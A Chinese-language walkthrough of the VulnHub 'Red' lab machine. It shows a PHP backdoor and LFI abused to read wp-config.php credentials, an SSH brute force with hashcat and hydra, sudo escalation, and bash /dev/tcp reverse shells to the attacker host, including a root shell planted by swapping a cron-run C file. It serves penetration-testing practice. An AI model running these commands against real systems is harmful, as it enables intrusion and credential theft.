一、概要
这里用的virtualbox打开靶机,VMware打开的攻击机,桥接模式
靶机:192.168.1.105
后面机子被扫down了,重启换了个ip:192.168.1.106
攻击机:192.168.1.100
靶机下载地址:https://download.vulnhub.com/red/Red.ova
二、主机发现
arp-scan
sudo arp-scan -l
netdiscover
sudo netdiscover
nmap
sudo nmap -sS 192.168.1.0/24
三、信息收集
nmap扫描
sudo nmap -sS -A -T4 192.168.1.105
开放了22端口ssh服务
80端口,wordpress模板
访问一下80端口的web
点击Hello Blue
页面进行了跳转,域名跳转到了redrocks.win,说明存在域名重定向
修改hosts文件
对hosts文件进行一下配置
sudo vi /etc/hosts
这个页面已经被红队攻击了,还说永远找不到网站的后门
说明网站已经存在后门了
四、渗透流程
查看页面源码,给出了一个提示
搜索这个人名,出现了一个他的github页面
首个项目就是seclists的字典,这个字典在kali中也有
后门扫描
使用find命令查找一下
sudo find / -name seclists
其中有一个PHP后门的字典
使用这个字典对网站进行扫描
gobuster扫描
dir 经典的目录暴力破解模式
dns DNS 子域暴力破解模式
s3 枚举打开的 S3 存储桶并查找存在和存储桶列表
vhost 虚拟主机暴力破解模式
-u 指定爆破地址
-w 指定爆破使用的字典
-t 指定超时时间
-x 指定爆破的后缀
可以确认扫描的是目录,所以使用dir参数
可以确认扫描的是一个PHP后门文件,所以指定后缀为php
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -u http://redrocks.win/ -x php
访问一下,是一个空白页面,同时我们又知道它是一个后门文件,所以说明被成功解析了
这样的话,想要利用这个后门文件得知道它的构造
通常后门文件利用都是利用传参,再结合HTTP状态码500,所以猜测一下这里可能有LFI(本地文件包含漏洞),这样的话就得猜测一下传参
同样使用这个字典文件中的另一个字典,参数爆破字典
wfuzz参数爆破
--hc 指定过滤状态码
--sc 指定显示状态码
-b 指定cookie值,"cookie="
-c 高亮显示
-d 指定POST传参参数,"user="
-f 指定输出的文件及格式,/tmp/shell,html
-s 请求间隔时间
-t 设置线程,默认10
-u 指定URL地址
-w 指定使用的字典
-z 设置payload
-H 指定HTTP请求的请求头,"User-Agent:firfox"
-X 指定请求方法,GET/POST
LFI
这里可以测试出来参数为key,也确实有本地文件包含
使用文件包含查看一下木马文件的内容
但是这里读不出来
尝试使用伪协议读取一下
伪协议可以读出来源码,base64解码一下
<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>
后面的再解码一遍
That password alone won't help you! Hashcat says rules are rules
这里提到了hashcat,应该是没有什么用了这里的信息
敏感信息泄露
前面探查到了这个网站是wordpress的架构,利用文件包含查看一下它的配置文件,看有没有什么有用的信息
同样base64解码一下
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT', 'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
这里面提到了一个john的用户
username:john
password:R3v_m4lwh3r3_k1nG!!
五、ssh远程连接
使用这个用户尝试一下ssh远程登录
连接不上
密码不正确应该是
根据前面的提示,利用hashcat对密码使用hashcat规则处理后再进行破解
hashcat进行hash碰撞
-a 指定破解模式
-b 测试计算机破解速度和相关硬件信息
-i 启用增量破解模式
-m 指定hash类型
-V 查看版本信息
-o 将输出结果存储到指定文件
-r 使用规则文件
-O 限制密码长度
-T 指定线程数
--force 忽略警告
--show 仅显示破解的hash密码和对应的明文
--remove 从中删除破解成功的hash
--username 忽略hash表中的用户名
hashcat --stdout 1.txt -r /usr/share/hashcat/rules/best64.rule > pass.txt
--stdout 不破解hash,只输出
-r 使用指定的规则
hydra
-l 指定破解的用户
-L 指定用户名字典
-p 指定密码破解
-P 指定密码字典破解
-s 指定非默认端口
-S 采用SSL链接
-e n:空密码尝试
s:指定用户和密码尝试
-t 线程,默认16
-w 指定最大超时时间,默认30(s)
-v 显示详细过程
server 目标ip
service 指定服务名,支持的服务和协议
hydra -l john -P pass.txt ssh://192.168.1.106
连接成功,这里应该是对密码做了一些防御机制,每隔一段时间的密码就不同了
这里有一个文件
cat查看一下
回显的是vi格式打开的,结合文件内容,猜测应该是vi和cat互换了
六、sudo提权
查看一下权限
ippsec用户在不需要密码的情况下就可以执行/usr/bin/time命令
使用sudo -u提权到ippsec
由于连接过一段时间就会断开,所以这里进行一下权限维持
七、权限维持
首先向攻击机反弹一个shell
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
由shell升级为终端,达到权限维持,否则ssh连接一断开,shell也随之就没了
python3 -c 'import pty;pty.spawn("/bin/bash")'
这时可以看到,ssh连接已经断开
但是反弹的shell还是可以正常使用
八、获得root权限
查找一下ippsec账户下有权限的文件
find / -group ippsec -type d 2>/dev/null | grep -v proc
-group 按用户组查找
-type d 查找目录
f 查找普通文件
l 查找软链接文件
grep -v 显示不包含匹配文本的所有行
有一个.git目录有些奇怪
root权限文件
来到该目录下,查看一下文件权限,都是root权限的文件
查看一下这个.c文件的内容
发现是一个定时弹出的脚本
可以将这个文件的内容进行一下替换,替换为反弹shell的脚本,这样就可以弹回root权限的shell了应该
首先把当前目录下的rev文件和supersecretfileuc.c文件删除
rm -rf rev
rm -rf supersecretfileuc.c
接下来就是制作一个反弹shell的C语言脚本
使用Online - Reverse Shell Generator (revshells.com)这个网站可以生成.c的反弹shell的脚本
这里对文件内容稍作修改
把"sh"改为"/bin/bash"
把文件提前在攻击机写好,这里需要注意文件一定要写在web目录下,即/var/www/html,文件名仍为supersecretfileuc.c
利用python起一个临时的http服务,以供靶机下载
python3 -m http.server 9999
反弹root shell
靶机使用wget从攻击机上下载文件
并对文件提升一下权限
然后就不需要手动执行了,这里会生成一个新的rev文件,这个rev文件会驱动supersecretfileuc.c的执行,即它会自动执行,在攻击机上监听对应端口就可以了
这里拿到了root权限,在/root目录下找到了flag文件
后门文件处理
然后把defense中的后门文件删除就可以拿回控制权了
另一个flag
这里回到前面搜索ippsec有权限的目录时搜索到的一个用户目录,查看一下另一个没有提到的用户目录,拿到另一个flag